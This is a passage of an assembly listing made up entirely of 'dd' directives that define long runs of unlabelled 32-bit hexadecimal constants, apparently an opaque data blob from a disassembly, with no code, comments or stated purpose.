		dd 90D027FBh, 6F1CE3ECh, 0C800FAC7h, 34C38A53h,	525F007Eh
		dd 43A19F3Fh, 0A03A6189h, 0A6F6AE9Bh, 12771301h, 0DC80E28Dh
		dd 5E01AF69h, 2E0F46E5h, 80D859E3h, 671D0407h, 0B55600C4h
		dd 0DF7F8679h, 223BC233h, 0E166003Fh, 0D0EFD481h, 6C200016h
		dd 0E38C9841h, 0C307B495h, 54B04A0h, 0CCDAFFD0h, 4D6100CEh
		dd 5CCF168Ch, 9B008ED8h, 7279D108h, 0FE9394h, 5DF65356h
		dd 4CF8EDF4h, 6409CC00h, 0A79010BEh, 6340002Bh,	7DDA7898h
		dd 0C07A3A8Bh, 0E94D1A28h, 9130EE00h, 47D8C37Bh, 58B60029h
		dd 7C8C54CDh, 7F00C079h, 7434AA9Bh, 0B2250Fh, 299FC117h
		dd 80A6832Ah, 0DB6D5209h, 0F61F0104h, 0AF19D3Dh, 7FCC3E8h
		dd 9B2CCBAAh, 0C0793460h, 51AEA21h, 428A201h, 7C5B8FB9h
		dd 1D5D6F8h, 471E2A84h,	51BAC54Eh, 0D487F7DCh, 21C0E66Dh
		dd 6F2E4762h, 0EA042427h, 0F3100054h, 0A3976DB1h, 0F76C6300h
		dd 6FE5AD50h, 0E20400FFh
		dd 0B8DB921Bh, 0CE007912h, 0EF592468h, 7E022220h, 8CB400B1h
		dd 32106433h, 210013C1h, 0B2D89F46h, 15A879Bh, 0DD84F307h
		dd 700B4F90h, 5006FA6h,	366C650Ah, 0DC53EBh, 0C5540879h
		dd 6D3ED030h, 7600E977h, 0F1D9D3E1h, 0E2D8360Ch, 0D6F046h
		dd 0F5375761h, 66E8891Fh, 7D0DE703h, 0E830DAFEh, 3EACD85h
		dd 13B637A4h, 2E983AA3h, 0B002330Bh, 5C8886D8h,	0D60C4097h
		dd 95B81CC8h, 45630037h, 0B307BC09h, 467DC500h,	0A86A097h
		dd 0E96F3F2Bh, 4C7A020Eh, 7CFEE201h, 4B50C4E5h,	83DE6700h
		dd 0EEBA4940h, 0DAB70006h, 5C275660h, 5A0F3F9Ch, 52678B3Bh
		dd 0BA2BFE00h, 7769AAh,	3ACAE1E9h, 8F440B09h, 852F3Bh
		dd 0D17FDBCCh, 7D7C51h,	0C03E1DFAh, 41555E6Ah, 3C836100h
		dd 6F280C86h, 0F15B0085h, 7398E5BFh, 3D3C312Eh,	0E0028BEAh
		dd 0A830802Dh, 0D10486h, 85BEBD0h, 0ADC29573h, 364E561Eh
		dd 0B26AB50Ch, 0F2BB0050h, 2FF8D4CEh, 750F966Bh, 0E35F14C0h
		dd 0A82A0430h, 0A661E7h, 1A41ECB1h, 0B48823F4h,	6A1FCF00h
		dd 0F1372F05h, 5BFC079Dh, 9BEA4CD0h, 0C2543C00h, 59003947h
		dd 0A7807D9Eh, 0E60AFDCh, 85D10DE3h, 1A4544E1h,	6204DCE8h
		dd 0D29B7509h, 0DDA1805Eh, 3C249868h, 4F8061B1h, 3A0FD648h
		dd 0E0765754h, 0FADD9B00h, 7A94E5E3h, 440A26CCh, 0BEB518D9h
		dd 51EA61A6h, 7279500h,	0FB4BC824h, 88530A06h, 0AF993Dh
		dd 57348AB4h, 1C005E46h, 0D3CB6665h, 3ED89795h,	31802030h
		dd 526AEE7Ch, 0A91F4950h, 55C18CD1h, 0BD0A06E5h, 7F87B70h
		dd 4A40F423h, 0D07E0D7h, 4C038DB1h, 5A6DEDD8h, 0AE7ED10Eh
		dd 1BC73D8h, 2C8FAC56h,	61BB117Bh, 6B980E6h, 0EA4509B2h
		dd 836007C9h, 93DE7357h, 0C1A02DAEh, 121F15CDh,	4C00FCEFh
		dd 0F7CE700Fh, 0C66C03DCh, 6DB34875h, 8A2E29D8h, 9D73931Ch
		dd 5F1DECDFh, 0E2DCE940h, 0D59EB9h, 0D02C430Bh,	93A81336h
		dd 68913900h, 0B88DF621h, 297F0022h, 0B062D3Ch,	6302C627h
		dd 0C3B654F7h, 5EAAC057h, 0D19012A5h, 9301EEDDh, 3DACE77Bh
		dd 0F69DD8h, 58D42A28h,	4993E323h, 0E1FA4500h, 94F598D6h
		dd 847700F7h, 0A787A180h, 0C63EF1EEh, 9272806Ah, 162AB005h
		dd 0EB4C0085h, 757C738Ch, 0C70E6CEFh, 0C0CEA545h, 2B95B565h
		dd 5C9A05BDh, 843B0E12h, 340DC05Ch, 0D2016F5Ah,	167C5982h
		dd 0E3FC0B07h, 0C2D404CFh, 0C0A2D184h, 2C3C0E55h, 42881D00h
		dd 0CB69E560h, 0F3BD072Eh, 0AB8FFBh, 0C7E43C24h, 0CC99FD03h
		dd 88ED0457h, 1734BF70h, 0C0EB8C1Bh, 94DA6B28h,	0E7AE0101h
		dd 6C9AF207h, 8291F4h, 1B7D73CFh, 2294F988h, 0B73EF0A8h
		dd 0B11C8900h, 672C3940h, 973500FDh, 63F504E0h,	573C9D0Fh
		dd 0C01E0086h, 0C3624320h, 88A003F4h, 28FE6495h, 70E941C9h
		dd 0E70076D9h, 0C160AAD2h, 18432549h, 18EE6F8Fh, 6A004709h
		dd 0F1648630h, 3592798h, 83F22DCBh, 0A2B0084Dh,	0B300732Ch
		dd 0A8507855h, 0D895B4h, 0FEB0E2C7h, 607961DBh,	337AED00h
		dd 0A57D54BDh, 1D23003Ch, 0D85F3FE5h, 0F9006280h, 40B727FCh
		dd 64E651h, 4E2A758Eh, 8B93C2A6h, 0A7017A70h, 0A203A53Ch
		dd 80F2968Dh, 1536A0A4h, 7D77220h, 0D495DAD2h, 3535FFh
		dd 0B9E73D94h, 1E007E74h, 6E8E9B49h, 3EDC845h, 8192699Dh
		dd 0FD0D1A6h, 0F9077419h, 32CF7797h, 0D92704E7h, 30796B00h
		dd 0C87E00A7h, 71CABEF6h, 240014CBh, 0FF099892h, 2FBB8Ch
		dd 2181B823h, 8E259C7Eh, 8F835F00h, 87604FDh, 0FE6F39D7h
		dd 0F3F13980h, 18C899Fh, 6400917Ah, 0C24177F8h,	0B8947AC7h
		dd 9D7C0212h, 186D7D09h, 8E9FB1E0h, 0C4231B00h,	4A7785Bh
		dd 0A2190C3h, 0F9DF97B2h, 0F0361887h, 28128A35h, 0A040A764h
		dd 9BDFB961h, 0D80A00FDh, 106CC0E3h, 0AF0276E1h, 7D411829h
		dd 1DF4808Ah, 1B95431h,	52673B5Bh, 0F048A4F2h, 6026B859h
		dd 2581FCC0h, 0DB42BA30h, 3DF438DCh, 760084FEh,	996D97A4h
		dd 1301EDABh, 1046B1EEh, 0D5D492FDh, 0DE5E04B4h, 80FA062Ch
		dd 83F7FF44h, 86AA2205h, 86804A6Ah, 364DCEBh, 1EEC9DB0h
		dd 2CC8C745h, 0E004A7D1h, 17D3AFC4h, 9503C480h,	54AA0088h
		dd 84F9E9CEh, 0CB005F73h, 6FA16793h, 39E1BD06h,	1C004AD1h
		dd 0A7C5839Ah, 544D1389h, 0C62013FCh, 0AD12E040h, 1CABB4EFh
		dd 80A5264Ch, 8D8BB6E5h, 380066DAh, 556D75D1h, 0E8F3B1AEh
		dd 5AE7002Ah, 0C979B662h, 0E07CF67h, 0B50F71CEh, 0B36A510h
		dd 0BC28CAF4h, 0C54502A4h, 0CD84EA35h, 7DD880BAh, 0C900CE94h
		dd 22B1202Ah, 9EE47Ch, 5A5C7D4h, 89291538h, 411C40FEh
		dd 0E72820CDh, 0C23FA900h, 0D7E81318h, 3BF40076h, 63374CDBh
		dd 2E00B901h, 0DF7BA15Dh, 39998h, 937E250Eh, 9BED41CBh
		dd 2B58B7h, 4A907509h, 0F115633Eh, 91EF0500h, 8710C68Ch
		dd 0ACE6AFh, 0F454D6DFh, 39B3C224h, 8F5B4C00h, 155D3CC0h
		dd 0A3AE3D81h, 0C53FBD80h, 0A1846409h, 8BC4882Ch, 0ED96C700h
		dd 60A7CAA9h, 0CF370E66h, 31620D1h, 4403338h, 0AC9BF844h
		dd 18A03B6h, 0C049FB84h, 46BCC588h, 384ABB00h, 63EEC7A7h
		dd 171F008Fh, 2369D6Bh,	9C00FA9Bh, 0E78A316Ch, 0F00F7Bh
		dd 1DA63C52h, 9DFE37B3h, 0D4104E06h, 3C11D37Eh,	0BE3A1446h
		dd 66003820h, 5CA4BA13h, 6CBC74C2h, 0B7982818h,	63D25400h
		dd 40892D4Fh, 0C927981h, 5311EFD4h, 510FFBB8h, 0FFF2C434h
		dd 0FC5D311Dh, 0A34D4280h, 7C0B45A1h, 0F1300941h, 0AEDE825Fh
		dd 9AA42E00h, 801F97h, 72984912h, 144439F3h, 968CDA00h
		dd 0D9A45BB2h, 0DF610091h, 4121721Ah, 0DD0082D1h, 84F21D35h
		dd 17AF62Ah, 68815643h,	0E02B08BFh, 891C3FC0h, 62C35F0Eh
		dd 0F13EDB2Eh, 0D7706C4Ah, 0B44700E9h, 0FB821454h, 5E16E309h
		dd 200E1823h, 0DA2720A6h, 0E128EB2h, 1016BBC8h,	0FEE8D08Ch
		dd 28D57900h, 70D97E7h,	81BB0748h, 0D36947CEh, 0F3E0759Fh
		dd 4E6E709h, 0B7E85700h, 1DD11381h, 16EE0518h, 43692211h
		dd 0CCC1A4ACh, 3FC2CE88h, 0B2B6D414h, 0E89A24A0h, 0E7D8768Fh
		dd 0D150C502h, 2FEA69A6h, 4D587B9Eh, 89035C7Ch,	22A125A0h
		dd 6C12435h, 13C40509h,	6BE04084h, 19C6DDCh, 3B12C006h
		dd 4D08F003h, 0C1138C8Fh, 0DCA70081h, 5D46AF3Ch, 0AA759C06h
		dd 7F8941F9h, 4408C06Fh, 0F5FF3D8Eh, 0C4008F7Eh, 0BDA9DC35h
		dd 1AC0A60h, 599BE7Dh, 86E6470Eh, 1AF5E5F8h, 4D610C90h
		dd 0FDA8AEC5h, 0A280300h, 0C89B0E2Eh, 0F381486Bh, 90102500h
		dd 0C49F2FC6h, 0F0022E0h, 3847088Ah, 3DD4181h, 0CB757B06h
		dd 0C600673Eh, 17A9DE8Fh, 2C3473Dh, 2F1B37BEh, 1F60B416h
		dd 0F03035CAh, 9B173076h, 395F04C5h, 81C03FF4h,	0F03D8AE0h
		dd 0D0F3553Bh, 27788676h, 0B5E79802h, 776A4E61h, 0D2B8ADE0h
		dd 0CB73531Ch, 0CA9E22C6h, 0BC760650h, 0E2DE072Fh, 0D57FED06h
		dd 0F2602C3Fh, 1BC87EF2h, 8078741Bh, 3AC59B8h, 81C45F3Eh
		dd 5C91D506h, 0D8C4F5E1h, 7C15007Bh, 0A20AFEC2h, 70F930C6h
		dd 0CA05423h, 3600988Ch, 9FA4C439h, 19C3A851h, 0E11806A1h
		dd 94E0F602h, 47003FECh, 0FE7462E0h, 0E96C140h,	811FE5F8h
		dd 766EAEA7h, 0AC48F144h, 82037F95h, 0B73DF3BCh, 0B60CA02Dh
		dd 53673DECh, 44188CBEh, 2FC311DBh, 1C196B07h, 0B3F0C89Dh
		dd 0D064FCh, 0CDAD1B38h, 39F165E8h, 27CA48h, 41B7B23Fh
		dd 1EB91394h, 0C0CFEF0Fh
		dd 1E786989h, 2D011443h, 0B47C723Eh, 0BBDC03C8h, 0BCAC1D1Bh
		dd 9E2E01h, 93273315h, 2A189657h, 37288A09h, 478D00A1h
		dd 6CE0DFF1h, 0AE00C9D5h, 0D6C5946Ah, 2432BF08h, 0C351AAh
		dd 2C9181FFh, 5C3CCDDAh, 0E297000Ah, 3C3596D3h,	4103003h
		dd 6E08C8A8h, 0EB5C760Fh, 442FC054h, 3A10ACFh, 0FE4398ACh
		dd 0BFE05521h, 9E00CB96h, 148F3262h, 1BEA690h, 64ACDDEAh
		dd 0E019380Dh, 361825D2h, 3EB0B9B1h, 1920007h, 97FEE618h
		dd 19DFBB7Ch, 52CDB283h, 0A660C0B3h, 0C0BC80B5h, 0A9773Eh
		dd 42EDF3ABh, 0C716FF33h, 0C61C91A8h, 0B175684Bh, 872EC400h
		dd 1D94E62h, 2F963247h,	4BFA510h, 5EB7FE06h, 0E1480010h
		dd 7A1F68D7h, 0A00D8E7h, 385A2AECh, 0BBDD9Fh, 0A02E7709h
		dd 7318B6F1h, 0ABDA0A00h, 6B7D43Ah, 0C62300C5h,	5EE4CDCCh
		dd 3148CB33h, 150F0018h, 0B007D9F6h, 29FC0018h,	33A68B4Fh
		dd 0DE00385Fh, 868756EEh, 0D26559h, 0E825C103h,	62EFCB20h
		dd 0AFE5EB00h, 0A1882A61h, 829D0019h, 0B6131BD1h, 2100830Ch
		dd 1D7257D3h, 1810BEBh,	3BD46AB7h, 43145995h, 6000F396h
		dd 68E7A566h, 508292h, 0EA48BE8Fh, 0CDC59DFh, 4EE56D00h
		dd 0A2ED84D8h, 0B757006Fh, 0A65F819Bh, 4500B114h, 6DB6563h
		dd 0B46BF2h, 6AC31D71h,	992D60C0h, 0DB6E5Ch, 72533EF7h
		dd 78968574h, 63B000EBh, 3F1BEA23h, 250F3B98h, 60C59944h
		dd 7EA76E80h, 0DBD60001h, 0F145C4AAh, 1C1F9F35h, 9680086Dh
		dd 59B3D5Ah, 3BAC005Bh,	7E346B2Dh, 0E500C6E9h, 4DC22592h
		dd 5D5B6h, 647AA465h, 9B99869h,	0F0A095F6h, 2700CBF6h
		dd 0A872E1A2h, 7ADC5E05h, 6AB301C0h, 0F7E2A60Ch, 9DE8DC41h
		dd 0F783900h, 0E496A0D8h, 17590094h, 0C7D5E961h, 0B30E6F07h
		dd 0E078B87Ch, 2F62BCDEh, 0FB87005Bh, 0CD9CF767h, 0D1289C6h
		dd 2C40240Bh, 3ED0A36h,	0EFA10032h, 0FA859F4Eh,	6E1FF2FDh
		dd 2B80E4A8h, 757DFE92h, 2B5009Bh, 4CB4958Dh, 0C93DE1D9h
		dd 0B27280A5h, 1C6C55F6h, 40E63E1Dh, 0CE96BA00h, 0C8F7324Dh
		dd 5AF4E200h, 7FE7FCE8h, 73FFAD9h, 0DF1C2236h, 0A85890ADh
		dd 79005307h, 989F6887h, 7DBC88h, 0EA9BFDAEh, 0FA967322h
		dd 0E3A0A6E2h, 0B01D3BC3h, 818019B5h, 0D72C68B6h, 0FA4F3B85h
		dd 0E984790Eh, 0CC032169h, 93F00D51h, 0A5036330h, 0FE421CE2h
		dd 0A18BC81Fh, 0BD990090h, 0A41EBED8h, 7100EFF4h, 0A164D13h
		dd 0E88E1ABh, 0F627E945h, 258C8BA0h, 4B0FC765h,	0E0BA4663h
		dd 29579E8Eh, 41EA021Ch, 37B4B99Dh, 1D6FDC48h, 912C01ECh
		dd 3B398775h, 0DAEA0088h, 0D3FBFE9h, 74C703CEh,	21EB8504h
		dd 1F399A0h, 1F809200h,	0F4A11210h, 0CFF21C0Fh,	0E1D6CAAEh
		dd 0F1E80F9Ch, 0B0D1C307h, 64619D04h, 42CA6F00h, 0ED98C79Bh
		dd 0DB7600ADh, 0BE485BB7h, 0FC00EE7Ch, 36450D50h, 3CAEBCCBh
		dd 2F261D9Dh, 0B9A88058h, 525E78D4h, 93C9C70Eh,	2D00D2E1h
		dd 25635BCEh, 0EEC53DBFh, 1D0C08C8h, 767153E2h,	802A4839h
		dd 0FC2CBD04h, 0EE7B3Ch, 1911E750h, 40577DF9h, 23692B12h
		dd 806F940Eh, 50B0CC44h, 8DE66Bh, 115F067Ch, 0CD89BB56h
		dd 48E44D18h, 0E35A58h,	0B392647h, 0E8C39A8Eh, 5E6DDD1Dh
		dd 11C08079h, 0D3CE687Fh, 3B52FC51h, 63FAE661h,	92D5205Fh
		dd 0FA95C0E0h, 0FC0087ECh, 376CD136h, 3F126273h, 53141094h
		dd 2200D49Ah, 67E66EA5h, 0DD00EF01h, 86FB06DAh,	0E889FF54h
		dd 0DB4F03C9h, 0D52A65Eh, 53140203h, 0CBBDF3E6h, 65DEE0D4h
		dd 5E0F0067h, 51996D2h,	0A4127CAFh, 8005B54h, 14C5113Eh
		dd 0CC080066h, 52DBC04Bh, 0BB00288Dh, 0A1AFA62Dh, 78FB6D63h
		dd 0A7D000D5h, 6A8AB1A0h, 4C032BECh, 2FD1E1F5h,	0A61802A8h
		dd 99B8FF4Eh, 606C5855h, 0B3D2F2A5h, 0C01F6EC9h, 2BC0D1A9h
		dd 0AD9EBA47h, 2CC1004Fh, 6D9F9BF2h, 0A4FC2186h, 0F8ACE400h
		dd 745BEA3Fh, 1F7F07C3h, 0ECE726F7h, 220E6F91h,	0E8F50812h
		dd 874D015Dh, 0E9A34C18h, 4875CCB5h, 770044F2h,	0DBE65755h
		dd 8570A8h, 0A469CBC3h,	0B2E5F46h, 0D710FF0Eh, 281FA3A7h
		dd 0E11D685h, 6423570Ah, 13B1BD80h, 4008770h, 66418B27h
		dd 0C0C7DA83h, 21D6C970h, 810030ADh, 496BD9B9h,	6DD13Dh
		dd 0D3A43E5Ah, 718F059h, 2B7FDE01h, 834C471h, 2C535DECh
		dd 0B7FA0C2h, 0A680DDA4h, 4F75D3CDh, 43F1C901h,	69A07F9Ch
		dd 0B0E165DCh, 0D2E20090h, 522B2290h, 2A00F9F0h, 0E5A146C1h
		dd 58B65Eh, 5975D95Ch, 8BBF4C0Ch, 0AFEF4Ch, 74FFE09Bh
		dd 1D0BE33Dh, 0C02410E5h, 391FEACAh, 0AC7B9C29h, 1621B11Fh
		dd 4F42C8C0h, 827483h, 8BF70A9Fh, 25497C1Eh, 0F6A0900h
		dd 120CEF7Eh, 4C621631h, 0B5DA0047h, 0C64EA9D8h, 4552390Fh
		dd 435507D7h, 5B737DC0h, 624639A2h, 0EBE8760Fh,	9C6432C0h
		dd 8B00C3F2h, 5F7B5421h, 26F92Dh, 0E0F8DFA5h, 53130DBh
		dd 0C50AE416h, 1857B407h, 4DAE7480h, 21FC48h, 0CECDEB7Fh
		dd 1C8CFB76h, 30868800h, 584C36E7h, 0FED3A0C1h,	9E70DEh
		dd 0CD5C4B08h, 49658E28h, 2903F5E6h, 0BA942E62h, 0EB60F03Dh
		dd 0C526390Eh, 19CB6A00h, 5F905EEEh, 7A755003h,	0D0ADC94Ah
		dd 72E7401h, 84D1F38Dh,	1CE6D0EBh, 570FC1DCh, 474BE03Eh
		dd 51476B3Ch, 304095F0h, 0E44800CCh, 0C27CA1Ch,	6A3F85EDh
		dd 2BA6819Fh, 0FA809B94h, 0E0F6024h, 0DF12A795h, 66008649h
		dd 0A0072026h, 0CA45C11Ch, 2ED62980h, 2832B8h, 7F76662Ch
		dd 30A80D4Ch, 0F4C95B00h, 32C01B1Eh, 5C690036h,	76900E3Ch
		dd 0ED00F89Dh, 0BFAD40E4h, 1DEA809Ah, 104FF3h, 4C1951B7h
		dd 900BC7Ah, 6CF5B6D3h,	0F4E6CCh, 502BFFB0h, 0E86E6D19h
		dd 0CF068F7Ch, 0A351CB46h, 0D7EE38h, 162E9DDBh,	170F8B0Ch
		dd 6E470B00h, 3A36CA27h, 0B5EA7Eh, 2FCF28EFh, 0F7AB308Bh
		dd 32E15800h, 0C4FC6EB6h, 17A907C9h, 5051DC55h,	78E28B0Eh
		dd 0CC3D7FFEh, 42928389h, 0C5F4E7h, 18E5DBF4h, 97B10D17h
		dd 2200AC71h, 8E50DDB3h, 1FBA9B19h, 89C3A845h, 0FF4F0Ah
		dd 37992254h, 0FCB0018Dh, 343AEBAh, 382CC061h, 0F8DC9F00h
		dd 0F4019096h, 523C00AAh, 0B037AD73h, 0E4015D13h, 0D6E21E69h
		dd 80818F23h, 6503332Ah, 45DE424h, 5FB96700h, 3B3F4D7Ch
		dd 63821FE9h, 93068074h, 5E4A71C8h, 8EC02200h, 8834F015h
		dd 979900F4h, 37B2FA78h, 0E5004F95h, 0DE860840h, 0C57B0Dh
		dd 161E3BFFh, 1B5B1FA4h, 3ECAC700h, 8F089128h, 44364DECh
		dd 71197A00h, 5520BEFFh, 1CBD1726h, 9B924303h, 91CEC0E3h
		dd 9C4C3A5Bh, 0F73EA400h, 13454AECh, 542B930Eh,	4D6E00D8h
		dd 0E373B0Eh, 0F1C035CFh, 15F0A8CAh, 4C29F445h,	0D58D704h
		dd 84CE4897h, 13582B00h, 7BAF9835h, 2608C74Ch, 424D568h
		dd 0D84B0D03h, 4128080Ch, 5F0834EAh, 0C30188D9h, 88E4E788h
		dd 22BFFE02h, 1A5822C1h, 39180342h, 0D6C77944h,	24C4E28Bh
		dd 0E2C4279Fh, 42C00B44h, 494BEE7h, 0E84821FBh,	148F2F12h
		dd 0D75132BEh, 83A61481h, 10130232h, 7388D35Fh,	3C788E5h
		dd 0F73341h, 9AA36A1h, 0A07892A4h, 706D1204h, 0FEC07C23h
		dd 1F105B28h, 4BAAF2Fh,	0C0F957C8h, 60DFDAC9h, 0BF90D600h
		dd 0BCCD796Bh, 8DB10093h, 8B252955h, 8200CEFDh,	3099B6C2h
		dd 178982Dh, 7A8A891Bh,	0DC5717E0h, 8F005320h, 6D02D055h
		dd 4031E99h, 2B974544h
		dd 0E340C0CEh, 8D003672h, 5393E609h, 0F3836Fh, 0F9017843h
		dd 0F8BC0747h, 0B5E0A00h, 9731193Fh, 0EE080055h, 91E7843Ch
		dd 0FFFABE13h, 292A0400h, 34D0BAF9h, 0A2B8F3h, 6C85BB77h
		dd 0AF60A1FEh, 2D654C01h, 0E670D403h, 776B7FCh,	5BE4A2C7h
		dd 14C590D2h, 0DF17D78Fh, 0BBF389Ch, 0D821EC53h, 0F487030Bh
		dd 0CA0035F2h, 3B125F64h, 7BED4h, 227FEDAAh, 0CB9C3C73h
		dd 99FEBA03h, 88808272h, 0F9FA15h, 0A6D26E9Fh, 2E0B2233h
		dd 2FCEE000h, 8680113Fh, 0AF79065Ah, 70C4A1B4h,	996CE100h
		dd 0B738544Ah, 8A390056h, 2773D1Ch, 5A00EE12h, 0CA6B8926h
		dd 0F6D805Eh, 9E9AB4F5h, 0A3AEDFA0h, 0D500BC5Bh, 1B2F859Ch
		dd 24497D65h, 8000DA79h, 54FF1972h, 440060A4h, 5B15B320h
		dd 63D923h, 0E069EFF9h,	25B1ECF3h, 85AE1F02h, 0E0303846h
		dd 6DD513h, 4AC7CB84h, 0ADAFAB8Fh, 281AB618h, 0F822EFBEh
		dd 17700076h, 1BA2905Ah, 0F012463Eh, 2D0044BFh,	368DAC5Dh
		dd 85B905F5h, 80F61ABAh, 3C7C81BCh, 52B03D00h, 746DC8B6h
		dd 0F7BE002Bh, 24BCB18Ch, 2008871h, 41875B42h, 0D2531Eh
		dd 9F6F333h, 0BACEC8B7h, 0CCE9A7B8h, 990676DAh,	0EA62BBE0h
		dd 238E0249h, 0CFC5B186h, 30B87BC0h, 1401FE00h,	65E7C187h
		dd 34BB0732h, 0BF25B3C7h, 6916B240h, 0CB000E9Ch, 2DBF6176h
		dd 7022CBEh, 9023E01Ah,	0EB9360D4h, 0DA03EDB4h,	34CEF5BBh
		dd 887097E9h, 0AECB63h,	0D760C54Bh, 8E0DDDFFh, 400E2977h
		dd 3F8CF454h, 35F57440h, 68CFC4h, 411CDA5Dh, 0EF91496Bh
		dd 21376600h, 0CF63581h, 0C9FEA0D0h, 0BAE00013h, 8F59A63Dh
		dd 0FF27958h, 65689700h, 98208396h, 0FB503E4Dh,	2DE17300h
		dd 22B1625Dh, 2CF9F700h, 3005111Ch, 0B04200B4h,	10BD84FDh
		dd 0EA076346h, 55761DD3h, 96703B40h, 0A8D40280h, 0A7219BFEh
		dd 248AE280h, 1A3B5A45h, 0E35D01DAh, 0CC6CD21Ch, 0B812E840h
		dd 7983006Bh, 0A81EA907h, 0D0004E7Dh, 47ED5045h, 130944F2h
		dd 0F9CCA5h, 1F925AB5h,	3400D172h, 0E0B9C94h, 2633E40h
		dd 0FAC70506h, 0E88066F6h, 6CE31B11h, 0D0B1008Ch, 204CB079h
		dd 3348D447h, 435E001Ch, 0CF3BA89h, 0EAE7EA5Bh,	0B64400B5h
		dd 0EA7EA8Fh, 253C8DD8h, 61798091h, 0D64ABFF4h,	600C00BDh
		dd 590915CDh, 8200DF4Bh, 254EB481h, 1DBFDEFh, 90C85C4Ah
		dd 0F81ADE8Ch, 0B6787AF1h, 8B1C7812h, 0FACB9800h, 3F295E3Dh
		dd 4700CCAFh, 7AA0326h,	2700680Ah, 3515443Ch, 10D254h
		dd 49E9E6FDh, 0BE74F05Bh, 83E83600h, 0A27F80DAh, 54B10032h
		dd 195D4B3Bh, 22E8B0F1h, 6BC5C31Eh, 5B8193DFh, 0D364EE2Ch
		dd 73475C8h, 0A5DC8B05h, 20ECE755h, 57398D1Bh, 0E5A2F400h
		dd 77E4A6Bh, 9E020087h,	0E2975CA7h, 0B60146ADh,	3E8CF5F7h
		dd 50601624h, 0F7C0051h, 61F0899Ah, 0B2006BF2h,	2BE374FCh
		dd 1CEB376Ah, 808E9460h, 3B912D7Ah, 45006675h, 0E63AFDA4h
		dd 307E98h, 58E28BA9h, 0D6E3DD59h, 0A2AD0A00h, 6DC5F512h
		dd 116400D7h, 0D3254D0Dh, 810F4E29h, 40EE57C7h,	0ECC6F09Ch
		dd 0DB7C0005h, 144AC111h, 0A612F8B1h, 0C0462C0Bh, 841E4Fh
		dd 0E65A9F9Ah, 0BBE1EDB2h, 226BDC00h, 0A51E59BDh, 2B693E76h
		dd 1C05C700h, 0CBF92542h, 915B7800h, 3AA5D7AAh,	1D2209EBh
		dd 7E01407Ch, 0C4C396A8h, 1E077420h, 57FCDE84h,	92E09FE7h
		dd 0FE50D11Ah, 2C640063h, 8D17370Dh, 4600BE20h,	0EAE9E5Bh
		dd 4422D0Ch, 0B879442Fh, 0CFC48012h, 8B00153Dh,	0D9D11FA7h
		dd 2F9862h, 326A1E95h, 2C515457h, 38F8A526h, 0D41B0039h
		dd 0B77C8A82h, 7D7A0085h, 0B559C3CCh, 5D001A0Eh, 14552AD0h
		dd 0A14B94h, 879777AEh,	50D9DAB1h, 2191F400h, 39DF2AE0h
		dd 0FD75007Dh, 677BE2CAh, 6E0EAD74h, 449DB1h, 0BB3809E4h
		dd 1AEB032Ch, 7F96F5F4h, 0AA333FD0h, 0C3B43503h, 904A6F79h
		dd 1771E4h, 0E832AF9Dh,	0C25DDB3Eh, 0E1CE3700h,	6C40880h
		dd 562907CDh, 90213270h, 3977F8D0h, 0A904B498h,	2736FA3Ch
		dd 0FB8CC080h, 0C9E4004Ah, 0C5982803h, 0FA7A84F8h, 7609BAFCh
		dd 90387D68h, 5C4B4180h, 2B000D9Eh, 0A6C53AB9h,	0FF016867h
		dd 3990631Dh, 19817304h, 0C213E686h, 981420EBh,	0DBA56700h
		dd 0CFD857BDh, 295160B6h, 467FF914h, 42731A00h,	0E1C09847h
		dd 667D2449h, 0F780380Fh, 605101BAh, 2A00D257h,	8FF6650Fh
		dd 8B076Dh, 0E3B5BCE1h,	462F7DE8h, 9974F200h, 4235335Bh
		dd 0D4AA3C70h, 8EF12E00h, 4CBD688Fh, 98018000h,	38A0432Bh
		dd 0A97273h, 402F9A7Dh,	0DA9FCD86h, 0B1FF471Eh,	7B106F00h
		dd 97DE1897h, 0B4D1E860h, 8CEBD200h, 4A73027h, 785A3EE8h
		dd 2200EF5Ch, 59B365BAh, 47FACD2Dh, 14ED5E00h, 7B3D2FA2h
		dd 87750B7Ah, 0F7005FE0h, 2B2515E5h, 0E6BB0602h, 8136A789h
		dd 38A97E98h, 4420AAF1h, 7EB009Ch, 0C7D9B6E2h, 0A800C081h
		dd 0F6FF4F5h, 39406Eh, 5572135Ah, 0F343891Ch, 8C11FA00h
		dd 0B2067825h, 5FE400A6h, 6484F99Eh, 0E71F2B51h, 5C9E0452h
		dd 4B05807Fh, 3EDC40F7h, 5A9C008Eh, 951C697Ch, 8209C7D2h
		dd 8761831Eh, 0EF6084F9h, 90A107B2h, 13F43A20h,	760BEE83h
		dd 6C88D573h, 0F0033DBEh, 0B272189Dh, 0A6C0909Ah, 0EF6E007Eh
		dd 3DE52339h, 0D3069E62h, 0AFB1043Ah, 1AE70020h, 76CA97D6h
		dd 0F458C8F1h, 1BF900E0h, 2ACFE4A0h, 0A1E007Bh,	0FDA625CBh
		dd 0AE0433B9h, 0F88BF6CCh, 43067E80h, 52F32849h, 0CC534C98h
		dd 0F0E96A03h, 0DCC01221h, 8F3DFD36h, 0ACAF2885h, 0DA86AA00h
		dd 417CC0DDh, 0CD753E02h, 0B164CA00h, 0B7365731h, 23E1B600h
		dd 6DAE8BC4h, 0C362001Fh, 6E0279EBh, 5F2E1417h,	0D812422Fh
		dd 22F9F800h, 0A5DFA8h,	658C451Bh, 6F446AD9h, 4F2A6C00h
		dd 0E90C9558h, 5D30F3D2h, 0A21B1D34h, 67F580DAh, 0B6538712h
		dd 94527D00h, 0D72D2511h, 3F890C2h, 0BC4F5795h,	6DD83D14h
		dd 4500E9DAh, 1A842428h, 1D47515h, 988B321h, 0E838A41Dh
		dd 9F1C2C98h, 4D802582h, 497CEC87h, 85B32818h, 14AAF4A0h
		dd 97EFAD5Dh, 40C72Ch, 0AF84E69Fh, 3E035FA4h, 0B76527F8h
		dd 46817CAh, 7F8C009Ch,	0D6FE090Dh, 51EF1307h, 52209274h
		dd 1C0CC2B3h, 9B1BE47h,	2480E55Ch, 0FCAD039Fh, 2FACD401h
		dd 397DD53Fh, 6401F440h, 3CF603EBh, 8FC9AEDDh, 427E4F88h
		dd 483BA97Fh, 0E5D30395h, 98B4E3BDh, 0EDE82Dh, 0F7508582h
		dd 0DC6663D9h, 0C9195300h, 0C5F451BAh, 0A09650B5h, 69E21D64h
		dd 0D5F28B0Bh, 0FE3C6600h, 0F43FC249h, 0F72E7C6Eh, 2600187Eh
		dd 0BE594552h, 0D7940790h, 2704A154h, 0A8C9764Ch, 0C0B9B38h
		dd 10CBE56Dh, 9D340279h, 0ADDE4735h, 0F7A20EC1h, 2B9F98E0h
		dd 7EE6ECF4h, 0D6427928h, 8FEAC000h, 0FBC59DF4h, 0EFB10134h
